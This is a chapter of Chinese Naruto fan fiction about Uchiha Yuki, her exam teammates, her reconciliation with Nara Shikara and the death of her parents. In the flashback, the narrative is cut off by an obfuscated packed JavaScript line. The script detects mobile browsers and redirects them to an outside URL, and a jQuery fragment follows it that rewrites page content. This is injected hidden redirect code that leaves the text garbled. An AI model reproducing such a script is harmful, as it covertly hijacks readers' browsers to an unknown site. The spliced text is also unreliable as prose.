第二天，老师组织的期中考试如期而至。


    考试内容是以三人为一组进行夺牌竞赛，最终按登顶时夺得牌子的数量确定分数。所有队伍以山顶为中心，在方圆十里外的不同起点出发，去争夺其他队伍身上的牌子。


    “宇智波雪、奈良鹿良、不知火玄间为一组。”


    这样的分组并不稀奇，雪平时就常和奈良鹿良搭档。可偏偏此时，奈良鹿良还在生她的气，这让她一时有些不知所措。奈良鹿良面无表情地走到她身边，不知火玄间还是如往常一样。雪倒是注意到，不知火玄间身上有不少因加练而留下的细小伤口。


    考试难度不算大，截止时间是下午三点。


    此时正值早晨，天刚蒙蒙亮，初春的天气晴朗无云，微风轻拂。


    以他们三人的实力，在比赛中只需留意日向一族的白眼探查就足够了。说起来，雪从未和日向德间分到过同一组。大概大家都下意识觉得，写轮眼和白眼这两种特殊能力最好分开，又或者是在执行普通任务时，通常不会在一个小组里安排同样拥有特殊瞳术的成员。除了担心被敌人同时夺走这两种能力外，是否还有其他因素呢？


    雪正思索着，在三人的默契配合下，他们已经成功夺下了四枚牌子。按班级人数估算，一个班大约四十人，每组三人，大概有十三组。此时他们手中已有五张牌子，已然处于稳赢的局面。


    三人找了一处山洞，打算暂时休息片刻。雪看着依旧一言不发的奈良鹿良，心里有些无奈。只有当她主动询问时，对方才会简短地回复“是吧。”“大概。”“都可以”。


    她喝了口水，随后将竹筒递给不知火玄间。奈良鹿良见状，直接从她手中拿过竹筒，仰头一口饮尽。


    不知火玄间：……？


    喝完水后，奈良鹿良又将空的竹筒塞回雪的手中，然后继续沉默不语。


    不知火玄间看着这略显怪异的一幕，嘴角微微抽搐，眼神在雪和奈良鹿良之间来回打量，最终还是选择识趣地闭上了嘴。默默找了个洞口处的位置，继续望风。


    雪偷偷瞥了一眼奈良鹿良，他靠在山洞的石壁上。双眼微闭，呼吸平稳，脸上依旧没什么表情，仿佛刚刚的举动和平时无异。


    雪犹豫了片刻，还是轻声开口：“奈良君...之前的事情，是我考虑不周，你别生气了好不好？”


    她的声音很轻，在这安静的山洞，却格外清晰。


    奈良鹿良的睫毛轻颤了一下，但没有立刻睁开眼睛，沉默了片刻，才缓缓说：“我没生气。”只是声音明显听起来，带着几分赌气的意味。


    雪嗓音带了几分委屈：“要怎么样，奈良才不生我气。我好难过。”


    下意识以为雪哭了的鹿良慌忙睁开眼睛，只见雪一双黑曜石般的眼睛泪眼汪汪，眼泪要落不落。他心下一软，耳根涨红：“我只是，觉得雪你没有……把我划入亲密的范围，所以有点生气。”


    “明明雪身边有那么多朋友，明明我就在你身边。你却心里有什么也不跟我说，我只是觉得雪从来没让我走进你的心里。雪为什么总是自顾自地觉得自己十分孤独呢？”


    “我们不是从认识那一刻，到现在，就是可以一起作决定……的朋友吗？”


    “明明我的心朝着雪打开着，雪却总是看不见。”


    雪看向奈良，微微睁大了眼睛。原来她在奈良眼里一直是这样的形象吗？


    奈良鹿良说完这些话，满脸通红。他有些后悔跟雪闹别扭了，他明明就想着随便当个忍者，随便赚点钱，再找个不美也不丑的伴侣，生两个孩子……现在到底是怎么回事啊！搞得像告白一样。


    他紧紧地凝视着雪的脸，看着她先是错愕，然后露出有些不可思议的神情。


    “我知道了，奈良君。”


    “叫我鹿良。”


    “鹿良，对不起。我没注意到你的心情，表达了错误的想法。”雪的表情认真而严肃，“是我疏忽了，以后我会更加注意的。”


    奈良鹿良：……啊！白说了，这家伙根本就不懂！可恶的宇智波一族，就这样随意地玩弄木叶村民的感情……


    鹿良露出一副无可奈何的表情，发现两人的电波实在不在同一个频道上。算了，他就在这家伙身边默默守护她算了。就像成为她的影子一样……总有一天，她会发现他的心意吧？或许吧？鹿良有些自嘲地想着。


    雪有些不好意思地挠了挠脸，这样的举动在她做来有种别样的呆萌。


    她伸出手，食指和中指伸直，其余三指合拢：“那么……鹿良，和我行和解之印吧。”


    鹿良先是有些懵，随后忍不住笑出声来：“好。”


    他伸出手以同样的姿势，两人食指、中指交错，象征矛盾消解，心与心重新贴近。


    和解之印结束后，雪主动牵住鹿良和玄间的手。


    她望着两人，嘴角上扬，终于露出这么多天都没有的笑容。


    “那我们之间以后要有话直说，这才是忍者的忍道！”


    “对对对，雪说什么都对。”鹿良的声音里带着一种认命的麻木感，喜欢的女孩子是个笨蛋怎么办？


    不知火玄间看着这两人，明明不在同一个频道上却还能和好如初，不禁笑出声来。


    真不愧是雪，竟能让奈良家的二少爷如此心甘情愿地低头。


    三人掐着差不多的时间点登上山顶，赶在三点前交上了牌子。


    下山后，老师公布了成绩，他们毫无悬念地获得了第一名。


    也许是因为和奈良之间的这个小插曲，冲散了雪原本忧愁的心思，她又恢复了平日里对待朋友时那浅浅笑着的模样。


    -


    那是木叶村与雾隐村刚刚签订停战协定没多久的初春时节，樱花如云似霞般绽放着。


    这本该是一幅美不胜收的景致，可在雪的眼中，却仿佛只剩下了黑白两色，没有丝毫绚烂的光彩。


    在得知父母死讯前，雪还坐在课堂上。代课老师突然把她叫到了办公室，让她回宇智波族里一趟。那一刻，雪的心中隐隐涌起一股不安，回到班级后，她匆忙拿起挎包便往外走，甚至都没留意到奈良鹿良、不知火玄间关切的询问。


    从忍校到宇智波族地的路程并不算远。起初，雪还慢慢地走着，可随着不安感愈发强烈，她的脚步逐渐加快，最后竟一路狂奔起来，直至气喘吁吁地停在了宇智波族地的南贺神社中。，周围族人的窃窃私语声不断传入她的耳中，让她的头脑一阵发胀。


    爸爸妈妈是不是受伤了？


    要是受伤了，为什么不让她去医院探望，而是叫她来神社呢？


    难道有什么重要的事情要跟她说吗？


    雪无暇思考其他，甚至来不及环顾四周。


    仍然有着和她一样的孩子，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457332|185349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甚至有些比她年岁还小。


    “小雪……你的父母牺牲了。不过，他们出色地完成了村子里的任务，他们是当之无愧的英雄。他们的名字，会永远铭刻在墓园的慰灵碑上。”宇智波富岳看着迟迟无人上前安慰、孤单站在那里的小雪。偏偏这个时候美琴还在执行任务中，除了他无人在给予雪依靠。


    宇智波雪先是一愣，随即反应过来，脸上滑落下泪珠。


    她嘴唇上下一碰，却迟迟说不出来话。


    富岳见状，轻轻将她拥入怀中。


    雪紧紧揪住富岳胸口的衣襟，放声大哭起来：“我、我不要他们当英雄……我要他们活过来！”


    雪除了父母，在这世上再无其他亲人。哭过之后，她仍要强撑着照常签字。看着父母被缝合好的完整尸体被送去火化，最后，记忆中那高大慈爱的两人，竟变成了两个小小的罐子。雪浑浑噩噩的，甚至都不清楚自己是怎么回到家的。


    自此之后，雪消沉了好几日。然而，她的作息却一切如常，正常地上课、吃饭、练习。只是，这种“正常”却透着一种说不出的怪异，奈良鹿良、不知火玄间、小秋还有日向德间，好几次都站在雪面前，欲言又止，最终却还是什么都没说出口。就连匆忙完成任务回村里的美琴、立冬，面对这样的雪，也是束手无策。


    只有到了夜深人静的时候，雪才会独自一人躲在被褥里，轻声啜泣。


    深夜，突兀的门铃声骤然响起，惊得雪浑身一颤。她下意识地伸手，拿起妈妈曾送给她的那把苦无，握在手中，仿佛这样能给自己增添几分勇气。她缓缓走到门前，打开门。


    门外，只穿着单薄睡衣的带土正站在那里，小小的身子在寒风中显得那么弱不禁风。他揉着惺忪的睡眼，一头乌黑的头发乱蓬蓬的，像个小鸟窝。他一脸懵懂地抬头看向雪，童声童气地问道：“姐姐，爸爸妈妈为什么还不回家呀？”


    雪一下子愣住了，手中的苦无掉落在地。呆呆地站在原地，好一会儿才从恍惚中回过神来。她这才猛然想起，战争牺牲地不止她的父母。还有带土的父母、还有其他孩子的父母。她和带土...都没有爸爸妈妈了。


    雪只觉得双腿突然没了力气，整个人不受控制地双膝跪地。她伸出双手，紧紧地将带土抱住，如同抱住最后一根救命稻草一般，将脸埋在他的胸口处，泪水止不住地流了下来。


    过了许久，雪才闷声地说道：“带土，以后就和姐姐一起生活吧……姐姐会保护你，不会让你受到任何伤害。”


    带土小小刚满三岁的脑袋还不太明白发生了什么事，只感觉到胸口处传来热热的濡湿感。


    是因为爸爸妈妈...都回不来了，是吗。他伸出小手，轻轻地拍了拍雪的背，像是在安慰她，却又不知道该说些什么。


    对于带土来说，失去父母那天的记忆已经十分模糊。他只记得，在月光下，有个女孩在年幼自己胸口处哭泣，当她抬起头时，带土看到的是那双开启了双勾玉的猩红色双眼。


    黑色瞳孔变得猩红，两颗勾玉在眼中缓缓转动着。


    自那以后，她递交了忍校毕业申请书，踏入了正式成为下忍的生活。


    因为雪对写轮眼的掌握还不足，所以大家一直以为她只开启了单勾玉写轮眼。


    与此同时，奈良鹿良和不知火玄间也紧接雪身后毕业了，三人一起被编入了加藤断班。